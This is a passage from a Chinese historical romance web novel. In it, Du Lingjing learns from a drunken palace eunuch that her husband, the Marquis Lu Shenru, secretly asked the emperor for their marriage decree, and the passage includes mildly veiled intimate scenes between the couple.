他也只是说说而已,又同她道,“你无事就多过来几趟。” 正月里的风隐隐有了春日重回的气息,杜泠静跟他轻轻点了点头,男人眸色越发柔和下来。 外厅新换的管事前来回话,说有几位拂党人上门求见。 从那日他在林中与众人坦然交心,摆明地说拂党众人皆可往来随意之后,反而陆陆续续有越来越多的拂党人上门来,表示愿意归于慧王和永定侯府,在朝中立足,为他谋事。 前几日,杜泠静就见他在远岫阁见了不少拂党人,今日又来几人,她向他看去,他却忽的跟她一哼,“不见了。” 又作怪。 杜泠静问他,“侯爷这又是缘何?难不成怕人说闲话?” 他瞧了她一眼,“可不是么?主动上门的人比年前还多,只怕被人疑心我是以退为进,亦是一种暗地里步步为营的谋求。” 他说着,果是不欲见人的样子,不紧不慢地撩着茶叶吃茶。 杜泠静已经跟他道过歉了,他还暗暗揪着她不肯放。 他总说他在她这处日日受气,到底是谁在受气呢? 杜泠静也不是没有脾气的泥人,她道,“那侯爷便不见吧。最好真的不见。” 拂党人自愿上门的,他都是让管事第一时间通禀,比见谁都要紧,怎么可能真的不见? 杜泠静这话说完,听见他笑了起来。 她也抿唇好笑,但下一息,却被他扯住没伤的手臂,一把扯进了他的怀里。 她惊得抽气,男人则低头贴着她的唇角说话。 “你就不能跟我说几句软话?” 就像她对蒋…… 不。 就只是跟他用那温柔如春水一样的语气说话。 他轻轻咬在她的唇珠上。杜泠静微微吃痛。 但他要的软话,是怎样的软话?她不知道。 想着外面还有人等他,他还在这里咬人,她还能软声叫了他。 “惟石……” 她羽睫颤动,她在他怀里软声叫他的表字。 但男人还不满意,希望她再多言两句。 可她不说了,陆慎如抿唇。 下一息,她却用她那没受伤的手臂,极轻地搂上他的脖颈。 她再没同他有过这样的主动,她面色微微红了起来。 杜泠静只觉自己快出汗了,尤其被他这样紧紧看着。 可她真的不知道,他要的软话到底是什么样的话,只能这般圈了他的脖颈,用极小如蚊的声音。 “你能不能别跟我计较了?” 他眸中如墨色深渊起了漩涡,几乎要将她吸入他的眸中。 他开口,嗓音甚哑,抵在她耳边。 他说可以,“只是晚上,让嬷嬷来点香,可好?” 杜泠静讶然,但在他的眸色下,只能缓缓点了头。 …… 不知是不是有人特意吩咐,嬷嬷今日用了重香。 远岫阁的被褥因她住进来,加厚了一层。 杜泠静卧在其间,身子热到如同在浴水里刚打捞出来。 他将她死死抵在雕花的床架上。 他颇有些能耐,能令她那受了伤还未痊愈的手臂,始终处于不被扰动的状态。但其他地方,他根本不给她留下任何可以掌控的机会。 把她在锦被当中完全弄湿了还不够,又趁着香气越浓的时机,在那潮热茂盛的密林中反复求取。雨一遍一遍地落下来,他突然叫她。 “泉泉,跟我好生说几句话。” 又是软话吗?他想要的到底是她什么话? 可惜杜泠静遍身湿汗,在他强势求取的掌控之下根本无从清晰思考。 她说不出来,他闷然不乐,将她抱坐在他身上与他紧密相对。 “那至少似上晌一样。” 上晌怎样?抱上他的脖颈吗? 杜泠静还算了悟,这姿态她不太能受得住的,连忙抱上了他的脖颈,甚至连另一只受了伤的手臂,也轻轻搭了过去。 只是就这么轻轻一搭,圈在他脖颈上,男人额上的汗啪嗒低落下来。 下一息狂风暴雨,他要她所有。 …… 后半夜才堪堪歇下。 不知睡了多久,她隐约察觉有人起了身来,替她掖了被角,她迷迷糊糊地睁开眼睛看去,见他下了床,披了衣裳,走到了剑架旁边。 杜泠静实在太过疲累,又闭起眼睛睡了过去。 剑架前,陆慎如默然而立。 天边泛了白,自窗外透来隐约的晨光,男人看着那柄银雪剑半晌,眸光垂着,哑声笑了笑。 “你这臭小子,八年了,今日才肯来你兄长梦里……” 他在他梦里跟他说了好多话,絮絮叨叨的,说得什么,他睁开眼睛都忘了,只记得他笑吟吟地问他。 “哥,我就说你一定能娶她到咱们家,我说得准不准?” 剑架前,男人回头看去层层帷帐内的妻子,又笑了起来,他深深闭起眼睛,回答了梦里恒如的那句话。 “是,一切都有了。” * 没两日便到了上元节灯会。 皇上与皇后身子都不太康健,虽然没向外说来,但杜泠静却听陆慎如道,皇上精神颇为不济,频频传唤太医进宫,上元节是不可能办宫宴了。 这个消息明显令这位侯爷神色也沉了几分,不过皇上虽不准备办宫宴,却也照着往年,招了近身的臣子进宫赏灯。 他一早就换了衣裳往宫里去,又跟她道京城里今日灯火不歇,“听闻扈二娘子回京来了,我无法陪你,让扈二娘子来与你赏灯。” 他给她拨了一队人手,怕上元节京城灯会太过杂乱。 而杜泠静确有要去寻扈亭君的意思,等下晌用过饭,就往扈家兄妹的落脚处去。 扈大哥扈廷澜跟杜泠静打了个招呼,就回了书房当中。 邵伯举的事对他打击深重,他或许要与书房相伴许久,才能慢慢走出来。 杜泠静不免想到三郎过世的那年,她一整个冬日都没出勉楼,一度以为父亲与三郎皆去之后,天底下已然没有什么可以留恋,她不若也撒手于风雪之中,可三郎却要她替他收集百部宋本。 那年亭君从沧州赶到勉楼,陪在她身边寸步不离,她问她,“若你也走了,解元的夙愿要如何才能达成?你要给他集齐这一百部宋本啊……” 旧事快被风吹进了满街的花灯里,被如水流动的花灯掩藏,找不到了。 杜泠静没去多劝扈廷澜,却将方才在街市上买的花灯,让秋霖悄悄挂在了他的书房窗外。 她刚挂上灯,就有一个细嫩的小嗓音说了一句。“好漂亮的花灯!” 杜泠静循声看去,见门边跑出来一个三四岁的小姑娘,圆圆的脸上眼睛大大的,同亭君有七八分相像,歪头打量着花灯,又打量起杜泠静。 她忽的跟杜泠静一笑,叫了一声,“姨母!” 杜泠静一惊,她还从未见过这孩子,但孩子却认出了她。 杜泠静稀罕极了,“小萝?” 小姑娘抿唇跟她笑。 亭君从房中走了出来,见两人相互认了出来,笑得不行,同秋霖道,“这下好了,都不必我开口了。” 秋霖也一眼就喜欢上了扈二娘子家的小闺女,拿了刚买回来的灯逗她。她咯咯笑着跟秋霖跑着玩,秋霖把花灯往杜泠静身上一引,她直接扑在到了杜泠静裙上。 杜泠静刚坐到椅上跟亭君说话,她扑过来,仰着小脑袋向她瞧来,可一点都不生分,径直道了句,“姨母抱抱。” 杜泠静心都化了,只是臂上的伤没好利索,秋霖帮着将小萝抱放到了她腿上。 小孩子远远看起来总是如此可爱,但抱到了身上却不一样起来。 她玩着花灯,爬上又爬下,扭来又扭曲,杜泠静手臂不便,偏偏她毫无照看小孩子的经验,不知要怎么抱,也不是要怎么哄,又唯恐她从她身上掉下去,竟鼻尖都出了汗。 亭君哈哈大笑,“静娘可真是书阁里的文人,就一个小孩子,你紧张些什么?若你同侯爷也有了孩子,可也这般不知所措?” 这话说得杜泠静微微愣了一下,念头划过他在帷帐间的求取,耳根热了起来。 她不准备搭亭君这话,只瞧着亭君身后的窗子下,摆了一只布做的小人,是一双龙凤胖娃娃,娇俏可爱。 她想起亭君家中的六姑,手艺极好,从前在京没少给她们做衣裳。 她岔开话题问了一句,“那是六姑做给小萝的?” 亭君更笑一声,眸色怪了起来,瞥着她。 “静娘若是喜欢,就拿走吧,也记得要摆在窗下。” 她说着还真让秋霖去取了走,杜泠静见她表情笑得古怪,不禁问。 “若不说清楚,我可是不要的。” “那说清楚你便得收下了。”亭君笑着跟她道,“那是我先前在寺庙里求来的,不是六姑的手艺,是庙里的法师给开了光的求子娃娃。” 杜泠静意外了一下,竟是求子的布偶人。 她说不要,亭君却笑问,“缘何不要?我看侯爷定想要吧?” 她立时让秋霖收了,“给你家夫人带回去,放在窗下。” 杜泠静推不掉,见秋霖还真就收了。 她同怀里的小萝道,“你娘亲,是惯会捉弄人。” 小萝嘻嘻笑,听见外面有吆喝的声音,从她身上跳下去,要去街市上看灯。 天色渐晚,确实到了看灯的时候。 杜泠静也不想跟人多论此事,便也顺着小萝,又叫了亭君往大街上去。 澄清坊北面的灯市,是今日最热闹的地方,她们出了门就往灯市去。 小萝由亭君抱着要买灯,往前走去,杜泠静落了两步,倒是秋霖走过来,突然轻声问了她一句。 “夫人,先前悄悄买的那药丸,剩的不多了,还要再买吗?” 那满满一小罐子药丸,竟然快用完了,杜泠静万没想到那药竟然用的那么快。 她怔了一怔,脸色又热两分,“还、还剩多少?” 秋霖估摸着以侯爷的频率,“也就还能用月余吧。” 她见自家夫人脸上更红了,人潮推着她们往前走,夫人一时没回话。 街边的灯渐渐都被点亮了起来,日头西洛,街道反而恍若白昼。 秋霖料想自家姑娘是个慢性子的,恐怕还要再用上那药许多日子。 不想这时,姑娘在前的脚步停了一停,她听见她轻声缓道。 “用完这罐,待到春暖,就……不必买了。” 话音落地,她在前跟上了亭君母女的脚步,但秋霖却完全定在了后面。 秋霖心跳咚咚地快起来了。 姑娘这是……不不,夫人这是,要与侯爷有小小姐或者小少爷了?! 秋霖大喜过望。 莫名地想到三爷过世那年冬天,姑娘寂寂沉沉,她在旁看着,唯恐姑娘一时想不开,而今日…… 秋霖简直忍不住要大喜地笑上三声,但街市上满满全是看灯的人,她只能强忍着心下喜意,快步跟了上去。 从朝阳门大街到灯市再到崇文门里街,上元的花灯如同连成片的花海一样,京内京外的人潮全涌进来,人挤着人连走动都要慢上三分。 可却有人急着往从街道上挤着奔去,还不止一个,是一行人。 扈亭君连忙抱起女儿唯恐被挤着,侯府的侍卫也上前护了他们,但杜泠静却听见有个侍卫嘀咕了一句。 “荣昌伯府的人,在这急些什么?” 荣昌伯府杨家?杜泠静看去那些匆匆奔去的人的面色,似是各个带着喜色。 这个节骨眼上,荣昌伯府杨家还能有大喜之事? 她疑惑,自也有旁人疑惑,街道上,不知谁人道了一句。 “听说刚从宫里传出来的消息,皇上观灯时突然说起了在边关镇守多年的荣昌伯,然后就下了令,让大理寺从轻来办杨家的官司,那两位杨家小爷,只流放,不砍头!” 这话一出,众人皆哗然。 有人说,“难怪杨家人大喜,到底两条命啊!” 也有人道,“杨家倒是留了两条命,可叹先前被他们杀害的人命,却回不来了。” 眼下说这个也没用,只不过杜泠静听见有人叹了一句。 “邵探花没了,邵家也备受牵连,窦阁老没能把邵家摘出来,还是陆侯厉害,不知用了什么法子,给荣昌伯府不光保住了爵位,连两位小爷的性命也一并保了。” 扈亭君回头看了杜泠静一眼,“侯爷到底还是对杨家心软了?” 杜泠静完全不知道。 她自那之后,再没听他提及过杨家的官司,看起来就是像他自己说得那样,杨家的官司是好是坏都与他无关。 杜泠静摇摇头,她觉得不是他,“可能只是皇上一念心慈而已。” 她这般回应了亭君,亭君自是信她,但街边的人听到此事纷纷议论起来。 众人都说杨家这场峰回路转,“全赖侯爷从中斡旋,到底是姻亲,荣昌伯爷又是永定军阵前大将,侯爷怎么舍得?” “如今好了,侯爷将拂党的人收了用了,荣昌伯府也保住了,反观窦阁老这边,探花没了,邵家也偃旗息鼓。这一局啊,窦阁老算不算输给侯爷了?” 众人纷纷赞叹陆侯厉害。 杜泠静恍恍惚惚地听了一耳朵,竟然觉得有些好笑。 这件事应该与他无关,至于结果都倾到了他这一侧,半是圣意半是天意,可外人全然不知,还以为皆处于他的筹谋。 若真是全盘皆出于他的筹谋,而他半分不露,那他可就厉害得吓人了。 杜泠静笑着摇头,没再理会此事,问起亭君的夫婿在京谋官的事,“只盼你和小萝也能留在京中。” 当晚那位赢下一城的侯爷,到了后半夜才出宫回来,他一身酒气宿在了外院。 杜泠静原本还想问他一句关于杨家的事,但一想若问了他,他怕不是有认为她疑心他。 此事与杜泠静已无关系,她自是再没多问。 正月快过完了。 红螺寺里。 兖王竟有些舍不得走。 他每日都能同那蒋家六郎论上几句文章学问,虽则蒋家六郎马上就要参加二月春闱,但每日还会抽空与他小论三刻钟,谈到兴处,总是投机,兖王更是赞叹他的文章写得妙,春闱必能榜上有名。 这日六郎也拿了一篇文章给他看,兖王将这篇从头到尾看完,竟然一时没说出话来。 “这篇同你往日略有不同,但若论妙处,丝毫不逊,文思精妙仿若天成。” 六郎上前瞧了一眼,但一瞧,呀了一声,“殿下恕罪,六郎拿错了,这篇非是我的文章。” 兖王讶然,他见那文章笔迹与蒋枫川笔迹一眼看去无甚差别,但仔细看来,却发现这一篇文字迹更加平静沉稳,亦稍显气力缺缺。 “这是何人之文?” 蒋枫川连忙道,“不瞒殿下,这是家兄从前的旧文。我一直临他的字,因此字迹十分相仿,竟让殿下也没看出来。” 兖王恍惚明白过来,“这竟是蒋解元的文章。” 是蒋竹修旧日,为春闱准备的一篇时文。 兖王叹道,“不亏是解元,文采如此之好,只可惜竟英年早逝。他没能来京继续举业,真是朝廷之失,陛下之失。” 兖王殿下感叹不已,蒋枫川也沉默了一息,道。 “家兄生前唯念两桩事。其中一桩便是我能代他蟾宫折桂、金榜题名。” “解元此愿,依本王来看,今次必然能成。”兖王看向蒋枫川,跟他点头以示鼓励。 但兖王又问了一句,“解元另一桩心愿呢?” 他说着,见蒋六郎微顿,“另一件倒是家兄私事……” 兖王见他说到此处叹了一气,听他道。 “兄长生前曾有一定过亲的未婚妻子,他与她青梅竹马,两心相许。可惜家兄寿数不永,甚至没舍得娶她过门。兄长只盼自己身后,她能再嫁,过得顺心如意。” 兖王一听就知道他说得是谁—— 陆侯夫人。 他担着宗人令的差事,每年最紧要的事,其实便是中秋的宫里的赐婚。 去岁皇上赐婚,不巧赐的正是陆侯与这位侯夫人。 兖王一时没开口说话。 倒是听到蒋六郎道了一句,“前几日,三哥不知怎么入了我的梦来。” 他道,“兄长问我,嫂子,不,陆侯夫人怎么忽然从青州来京城嫁了人。我在梦中道是圣意让她嫁给陆侯,三哥又问我圣意缘何如此。” 他无奈同眼前的王爷道,“这可难为了我,圣意缘何如此,六郎怎会晓得?只是彼时没回应上来三哥的话,心里总觉不太安实。” 他说着一脸的无奈,又是叹气连连,“总不能等我殿试的时候,拿此事去问皇上,皇上见我如此乱来,还不得将我撵出京城?” 他说得好笑,兖王闻言不禁笑出了声。 “六郎不必去问皇上,本王告诉你便是了。” “这会否不便?” 王爷笑笑,放在中秋前后自是一个字都不能讲,但如今已经过去近半年了。 他道,“陆侯与夫人的这桩婚事,其实并非圣意,而是,”他笑了笑,道,“是永定侯,自己去跟皇上求来的。” 蒋枫川心下一滞,面上不动声色。 “何时求来的?中秋之时?” 他问去,不想兖王却笑着跟他摆手,又摇了头。 * 京城外城。 阮恭路过章先生的书肆时,进去替自家夫人看望了他一回。 章先生让人给他倒茶,阮恭道,“先生不必客气。原本夫人想要来亲自拜见您,只是受了伤,仅上元节那日出了门。待夫人好些,必会再亲自登门。” 章先生道无妨,“静娘好生养伤要紧。不过她让我留意的八本宋本的事,我还真有些眉目了。” 他说一时间出现八部宋书,引得杜泠静一路从青州来京,确实有些太巧合。 “不过我打听来打听去,发现其中四本,竟然与侯府有些关系。” 阮恭听空了耳朵,“先生说与哪里有关?” 章先生重复了一遍,“是侯府,就是陆侯的永定侯府。” 阮恭心下一跳,听见章先生又道。 “你先跟静娘说一声吧,还有几本我也着人打听了,等过几日消息都来齐了,就明白是怎么回事了。” 阮恭身上莫名出了些不明的汗,此刻领了章先生的话,一路往回走,回去侯府,寻了自家夫人。 第53章 “你说, 章先生打听到,引我来京的八部宋本里,有四部都与侯府有关?” 杜泠静正在正院的西厢房里修书, 闻言微讶瞧了阮恭。 阮恭是照着外城书肆章先生的原话说的,“先生说消息还没打听齐全, 其他几部的消息得在等些日子。但已经打听到的四部, 确实都与侯府有些关系。” 阮恭领口出了汗。 如果引他们来京的八部宋本,都与侯府,甚至说与侯爷有关,那么时间也太早了些, 远早于中秋宫中赐婚。 可侯爷跟夫人说的,却是枕月楼一见, 是侯爷与夫人第一次见面…… 阮恭不敢细思了,轻轻抹着脖颈上的汗,可他却见夫人面色没什么变化。 夫人只微微愣了愣,旋即轻轻笑了笑, 摇头笑叹道。 “这京城里的事情, 哪桩哪件与他无关?估摸着是巧了而已。” 夫人完全没把这消息当做一回事, 阮恭意外,又听她道。 “别疑侯爷了, 不然他又要生气。” 她让阮恭不必太理会此事,等所有消息都齐全了再说。 杜泠静说完, 抬手让阮恭去了。 她确实是这样认为的,若说窦阁老等扶持雍王的文臣还算沉稳收敛, 他陆慎如则将霸道的予取予求写在脸上。 从前就能为党争,抓了官员责打,如今是稳重了许多, 不再行这等狂悖之事,但京里哪件事能少了他的影子。 八本书里,有四部与他扯上关系,也不奇怪。 彼时他与她还不认识,必然不会是他,一部一部撒下集来的宋本,引她一路进京。 杜泠静没把这事放在心上。 况且连锦衣卫指挥使魏玦,给她特送的大婚之礼,都是四部宋本。 她听见侯爷提及的时候,还吃了一惊,“指挥使这礼也太贵重了。” 他道是稍微重了些,“但珍藏古书是为千秋后人,你收下,也算为他积福。” 他于收礼一事上,没什么负担。杜泠静只好也从善如流。 她因着手臂受伤,好些日都没修书了,今日终于能如常提起笔来,便在西厢房多坐了一会。 秋霖又来问了她一件事,偷偷笑着,“扈二娘子送夫人那开了光的求子娃娃,夫人要不要放到卧房的窗下?” 那岂不是告诉所有人,她渴盼孩子? 杜泠静道不要,“快把那一双娃娃藏起来,别让人看见。” 秋霖见她面色尴尬中透着红晕,笑得不行。 但过了几日,天暖了,日子进到了二月里,秋霖又来问了她一次。 “夫人,二娘子派人来说,那娃娃是专门请大师开了光的,必得摆在窗下,不然佛祖可是要怪罪的,说不定还要降下责罚。” 杜泠静听得一愣一愣的。 “必须得摆?” 秋霖跟她点头,“奴婢之前也见过类似的求子布偶人,似乎是有这说法。” “那、那你白日无人的时候,悄悄摆上一阵?” 言下之意,别让侯爷看见。 秋霖又笑,但也应声去了。 杜泠静许多日没去归林楼,这会便让人套车往楼里去了一趟。 但下晌的时候,男人回家来寻她,没寻到,听闻她去了归林楼,只能自去房中换了一身衣裳。 可走到窗下,却看到了那一双憨态可掬的布偶娃娃。 他拿起娃娃,叫了秋霖,“这是……求子的布偶?” 秋霖再没想到侯爷竟第一时间发现了,还认出了功用,她只能道是。 她悄悄打量着侯爷,见侯爷怔怔看着那一双布偶。 “是夫人求来的?” 这要怎么解释?要解释起来可就复杂了。 秋霖左右一想,干脆含混地“嗯”了一声。 她见侯爷闻言越发怔然,掌心握着夫人的求子娃娃,转身大步出了门去。 * 杜泠静在归林楼没呆了多久,天色就不早了。她今晚想干脆宿在归林楼里,但想到那位侯爷非要她当日来回,只能准备离开。 冯巷前来寻了她。 冯氏于仕途一道人才辈出,冯巷反而不太着意于此。 六郎隔三差五就让惠叔送两篇文章过来,让她帮忙看一看,写两句建言,她自是照办的。但冯巷却宁愿有点时间,就来归林楼里帮衬做事。 这会儿冯巷来找她,便说起她近来要付梓流布几本兵书的事。他说他替她校勘了一遍,“可以交给赵掌柜来印了,不过正值春闱之际,兵书只怕远不如时文卖的好。” 这倒也无妨,杜泠静本也不是为了赚钱才刊印兵法古书,她同冯巷道费心,“我前些日收了几本古书,竟与在青州时收来的重了,想转赠给贤弟,明日让阮恭给你送过来。” 冯巷讶然,他连连摆手。杜泠静让他一定收下,“我不在归林楼里的日子,多亏你尽心尽力帮衬。” 她只是寻常这么一说,不想青年脸色竟又红了起来,面色红似他身后天边的霞光。 杜泠静不禁瞧着他抿唇而笑,他脸色更红了,局促地道谢又告辞,这就要走。 杜泠静还想再跟他浅聊两句,不想却听见一阵熟悉的脚步,咚咚响在了她身后。 她转头看去。 男人通身暗色锦袍,于夜幕降落的半边夜空之下,阔步走来。 风带起他翻飞的袍摆,冯巷见了他,远远地行礼,转身要离开。 他对人家向来没什么好气,人家自然要避着他。 可他却似要将人家叫回来。 杜泠静赶紧一步上前拦了,“惟石!” 他这才没继续,不满地哼了一声,“他又在此扭捏作态,是给谁看?” 陆慎如只看着自己的娘子,偏偏她就爱同这小子说话。 但他把对她的这点不满,都撒在了冯巷身上。 “下次在让我看见他跟你说话脸红,就把他扔进冰河里,让他冷静冷静。” 臭脾气…… 杜泠静不欲再理他,转身就要走,又被他扣了手腕拉了回来。 他抿唇闷着不乐,杜泠静只能放柔了声音。 “侯爷怎么得空过来了?” 他瞧了她一眼,没回答这个问题,只是眸色明显柔和了下来。 杜泠静多数的时候,都不明白他心里在想什么,听他道。 “今晚不回去了,就宿在归林楼里。” 稀罕。杜泠静眨眼看了他两眼,他笑了一声,但却道不在之前下榻的院中住,反而指了另一边的院落。 杜泠静从归林楼上瞧过那边,听说是连着归林楼的一处侯府别院。 但归林楼已经够大,房舍够多,她从未往那处去过。 她问他,“侯爷要去别院?那别院唤作什么名字?” 她问得男人反而一愣,“娘子不会觉得,我给你的聘礼只有这栋书楼吧?” 他无奈道,“这别院也是你的,唤作什么名字,自是等你来取。” 归林楼已经够大了,更不要说再加上这篇别院。 他又哼着不理她了。 杜泠静跟着他的步子进到了别院当中,别院无名,院中各处景致房舍也都没有名字。 但此间竟是用了江南造景的法子建了园子。天色还没回暖,春花还没开起来,但霞光之下,园中景致移步易景,已有万千姿态。 男人突然开口,“娘子挑一处。” “挑来做什么?” “你先挑。” 杜泠静还以为他要她挑一处取名,左右看了看,指了湖边停着的那座画舫。 “画舫……”男人看着她挑眉。 杜泠静隐约觉得有点不对,难道不是取名? 她瞧去他的面色,见他英俊的眉眼笑意溢出。 她意识到了什么,他却道,“好,既然娘子喜欢画舫,今晚就这儿了。” …… 星河映了满池,池边绿柳萌芽,池上画舫摇动。 杜泠静先见他着人收拾了画舫,有让人铺了厚厚的锦被进来,脸就已经热得收不住了。偏他越发觉得这里不错。 而此刻,两个丫鬟突然过来,拿出两个布偶娃娃,一左一右地将那一双求子娃娃,放到了枕头两侧。 两个丫鬟放完布偶就火速退了下去,画舫再无旁人,只余清波荡漾。 他则将她,抱起放在了两个求子娃娃的中间。 他就让两个娃娃一左一右地夹着她,杜泠静脸烧得像火一样,但画舫浅窄,她已无处可逃。 接下来要发生什么,她岂能不知? 她简直不敢去看他了。 陆慎如见妻子窘迫地躺在两个娃娃中间,脸蛋红的似红艳的春花,薄衫领口落在她柔嫩肩头之下,她还努力拉了拉。 他低头而笑。 求子。 他以为,以最初圣旨赐婚她的不愿来推测,她说不定是要避子的。 毕竟他们欢好数月,她却不曾有孕。 可嬷嬷每每帮他们点起来的香里却有助孕之效,想来两厢抵消,子息的事也就不确定了。 他不曾多问过她此事,自是不想听她,跟他直言她不想要。 但今日,她却在窗下摆了一双求子的小娃娃。 所以,他的泉泉,想跟他有孩子了,是吗? 男人眸色浓重得化不开。 杜泠静只觉他又要吃人了。 但他指尖轻柔地轻轻摩挲了她的腰间软处。 他轻笑。 “娘子与我,今次定不辜负神明的赐福。” 画舫在水中摇摆不已,他不知何时让人解开了系在岸边的绳索,船往池水中央飘去。 繁星落在水面上,拱着春风抚摸下的画舫随星光流动。 满船春梦,压星河。 …… 当晚真就宿在水上画舫里。 两个娃娃被他摆去了画舫的窗下,他抱了她在锦被里,随着水波摇晃。 “泉泉想不想去江南?”他说自己,“只匆促瞥过两眼,不曾驻足停留,甚是可惜。” 原来他想游一游江南。 杜泠静难得见他也有闲暇之思,还以为他早就忙得顾不上这些。 果然他道了句,“殿下还是太过年幼,若似雍王的年岁就好了。” 翻过了年,慧王也才九岁,若想立起来少说还得六七年。 她听见他长长叹了一声。 杜泠静抬头向他看去,水面照映星光落在他半垂的眼眸里。 她不禁道了一句。 “惟石不必叹息。古往今来最是烟雨蒙蒙、烟柳画桥的江南,都在文人墨客的笔下,在他们的文章和诗句里。” 她柔声笑道,“你早已领略过了。” 她的声音就如今夜池中春水一样浸润而温柔,男人怔住,低头看去她的眼睛,她眼眸里含着温软的笑意,她眼眸里唯独映着的影子,是他。 陆慎如靠近她脸侧,细细看着她。 “泉泉,终于舍得跟我说两句软话了。” 软话?杜泠静简直愣住,原来这就是他要的软话?这算什么软话? 她实在是忍不住笑出声来,他如何作想,她是弄不明白的,而他已低头,吻上了她说了软话的唇上。 春风拂过窗棂,杜泠静没有回避,主动仰了仰脖颈。 虽然他与她只是圣意偶然的捏合,但阴差阳错的际会下,能如此坦诚相待,互相不瞒不疑,已是人间难得。 …… 日子一进到二月,便离着春闱没有几日了。 杜泠静同冯巷一道修好的这套兵书,赵掌柜着人当先印了一套出来,送到了侯府。 杜泠静仔细翻了翻,刊印清晰,内容详实,左以图例。 更重要的是,这套书其实不是她看重的,是某人陪她分拣收来的书时,挑出来赞了几句的。 他还不晓得她已给他修好印了出来,杜泠静准备让人送去他外院远岫阁,但想了想,干脆自己过去一趟。 不料还没出门,菖蒲过来跟她道,“夫人,六爷到了咱们澄清坊老宅里,正请您过去一趟呢。” 杜泠静闻言目露疑问。 六郎在京中有宿处,眼下春闱没两日了,他去澄清坊做什么? 文章她都替他看了,前几日他就要见她,让她往红螺寺去一趟。 她料想她若突然去红螺寺见六郎,某人必不高兴,便就没去。 今日六郎怎么来了澄清坊? “他有何事?” 菖蒲挠头说不知道,“六爷没说。但马上就要入闱考试,是不是与此有关。” 杜泠静也猜可能和他的春闱有关,科考是大事,三年才考一回。杜泠静不能怠慢,只能放下手里的书,换衣裳去了趟澄清坊。 可她到了澄清坊杜宅,他竟然不在,却让人来请她,“六爷请夫人往枕月楼走一趟。” 杜泠静来都来了,只好去了不远处的枕月楼。 然而她到了枕月楼,却见楼上雅间当中,蒋枫川在同人吃酒。 对面就坐了一个人,杜泠静没立时走进去,从门缝看了一眼,讶然挑眉。 对面坐着的,是皇城西苑,专司宫宴伺候的一位年轻太监。不巧杜泠静在年前的宫宴上,见过他两回,怎么这会被六郎请到了枕月楼里? 她不知他这是闹什么名堂,倒是雅间里的蒋枫川,早将那年轻太监,酒灌得差不多了,但他自己却没醉,见她终于来了,就在门外,他向那太监问了一句。 “去岁端午,太液池上宫宴的事,公公再跟我仔细说说吧。” 那年轻太监喝得晕头转向,问了句,“六爷问得是,陆侯得圣旨赐婚的事?不都说过了吗?” 他嘟囔着,往桌子上趴睡了起来。 杜泠静听见圣旨赐婚四个字,便皱了眉。 她不知六郎想做什么,但显然不是什么正经之事,她转身就要走。 可脚步还没迈出去,有人从雅间里走出来,一步上前扯住了她的手腕。 杜泠静想甩开他,却没甩开,听他道。 “你就不想知道,陆慎如与你得了圣旨赐婚,是怎么一回事吗?” 杜泠静沉声,“此事我已明了,再无什么想知道的。” “明了?”蒋枫川闻言一笑,“陆慎如告诉你,这皆是圣意,是不是?你才嫁他不到半年,就如此全心信他了?” 他说到这里,低头见她眸中冷淡,全无反驳,是真就信了那人。 他越发哑声低笑,酒气在他身上四散开来。 才半年…… 他突然道,“你可还会在午夜梦回之事,忆起我三哥?” 你可知那个人,他是为了你,才甘愿自戕而死?! 后面这句,他没说出口。哥舍不得让她知道,他就只能忍着不讲。 但他扣着她的手腕,看紧了她。 杜泠静定在原地。 三郎……她好像确实,很久都没有梦见三郎了。 她闭了闭眼睛,“六郎,你到底想做什么?” 她终于缓了语气,蒋枫川也送了她的手腕。 “不做什么。就是想让你听几句真话。” 杜泠静抿唇,“可赐婚的事,完全是皇上的意思。我已知晓,与侯爷并无关系。” 她刚因为此事疑心过他,她不想再来一次。 况且他当着她的面,一字一句承诺过。 但六郎却问,“真的吗?你就这么确定?” 杜泠静正了声,“我确定。” “呵!”蒋枫川笑了,他让她在门外听好,“我进去帮你再确定一遍。” 他说完,转身回到了雅间。 他叫醒那太监,先仰头灌了自己一壶酒。 太监迷迷糊糊地连声赞叹,“蒋六爷乃是酒中仙人!” 蒋枫川只笑,接着又给自己倒一满杯,他捏杯到了那年轻的太监脸前。 “公公,陆侯得圣旨赐婚的事,您就跟我详说几句吧。” 那太监见他非要听,哎呀呀地叹了两声。 他道,“既然蒋六爷都从兖王殿下处,晓得此事了。殿下都提了,我倒没什么不能说的,且邵探花已死,这酒这么香,我跟你说便是。” 彼时在红螺寺,兖王殿下说陆侯并不是中秋求的旨意,而是端午龙舟宫宴,但王爷点到为止,不再多言。 蒋枫川费了九牛二虎之力,才寻到了端午宫宴那日伺候的太监,正是眼前此人。 此人专司西苑太液池宫宴,不似皇上身边那些宫人嘴紧。 这一顿酒下来,蒋枫川连问数次,他终是开了口。 雅间的酒气冲得人呼吸都不畅起来。 杜泠静隔着半开的门,听见他道。 “彼时只有皇上、兖王和侯爷在。那些高门早就把今岁联姻的意思跟王爷说过了,不会真等到中秋才决定,而王爷得了名册,趁着宫宴让皇上过目。” 有些人家是定好了联姻谁家的,但还有些确实只等着皇上的意思。 皇上自然不会立刻决定,会慢慢思量到中秋。 而那日皇上看过名册,转头就问了永定侯陆慎如。 “你这婚事,你同你姐姐倒好,一个两个都不急,但京中的男子,哪有几个到了二十有五还不成婚。也就你同魏玦……你们姐弟不急,朕却替你急。” 皇上道,“不若就今岁了,你选一个,莫要再拖。” 皇上每年都要问两句永定侯的婚事,也不是只今年。 但往年侯爷都推了去,可这次,侯爷没再推,反而起身谢了陛下。 他起身道谢,兖王道“稀罕”,亲自将名册递了过去,“这些待选的各家贵女,侯爷选一个吧。” 满京贵女,就这么由着他挑选。 但他把名册一页一页翻过去,一直翻到最后,忽将那名册合了起来。 他要了笔墨。 皇上立时允了。 酒气熏得人发昏。 “……侯爷啊,将所有待选一一撇去,最后,将根本不在名册里侯夫人的名字,写下来呈了上去!” 杜泠静站在门外,整个枕月楼的声音瞬间皆消散。 陆惟石,不是这样说的。 她恍惚着,听见那太监又道。 “偏偏邵氏也要求娶侯夫人,中间这么横插一杠,侯爷早早就定下联姻杜氏的事,满京城还以为真是圣意如此,陆侯爷自然不会出来辟谣。侯爷的心思深啊,让谁都猜不透……” 杜泠静默然立在门外,蒋枫川突然开口问了一句。 “公公,此言可当真?” 蒋枫川说着,往门外看了她一眼,太监醉着,嘴巴却没醉,立时回应道。 “自然当真!但凡有一个字是假的,我明日就淹死在太液池里!” 第54章 “……杜氏女无有父兄, 未婚夫婿也已病逝,她的婚事,全凭皇上做主即可。” 皇上支了下巴, “可要问问姑娘本人的意思?” 男人缓缓摇头,“圣意做主, 无需询问于她。” 皇上闻言笑了。 “既然惟石你想要她, 朕来赐婚便是。待中秋之后,朕就让她做你的新娘。” “臣叩谢皇上。” …… 